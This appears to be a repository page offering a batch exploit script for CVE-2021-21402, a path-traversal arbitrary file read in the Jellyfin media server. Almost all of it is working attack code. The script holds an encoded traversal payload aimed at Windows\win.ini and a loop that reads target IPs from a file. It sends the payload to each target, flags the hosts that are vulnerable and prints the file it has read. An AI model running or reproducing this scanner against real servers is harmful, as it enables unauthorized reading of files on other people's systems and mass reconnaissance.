givemefivw/cve-2021-21402Script exploit batch per CVE-2021-21402 (lettura arbitraria di file in Jellyfin) che controlla la vulnerabilità di path traversal tramite richieste GET a win.ini.
CVE-2021-21402 Jellyfin lettura arbitraria di file Wker script, eseguibile in batch.
La logica è molto semplice: tramite GET verifica l'esistenza di win.ini:
#define payload = /Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/
#define info = CVE-2021-21402 Jellyfin任意文件读取
function main(args){
dirs = StrSplit(ReadFile("script\CVE漏洞\CVE-2021\CVE-2021-21402 Jellyfin任意文件读取\ip.txt"),StrRN());
num = GetArrayNum(dirs);
i = 0;
while(i<num){
try{
res = HttpGet(dirs[ToInt(i)].payload,"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0");
if(StrFindStr(res[1],"200",0) != "-1"){
printclolor(dirs[ToInt(i)]." [+]存在".info.",正在读取win.ini文件",3);
print(res[0]);
}else{
printclolor(dirs[ToInt(i)]." [-]不存在".info,2);
}
}catch{
printclolor(dirs[ToInt(i)]." [-]目标异常！",5);
}
i = ToInt(i+1);
}
}
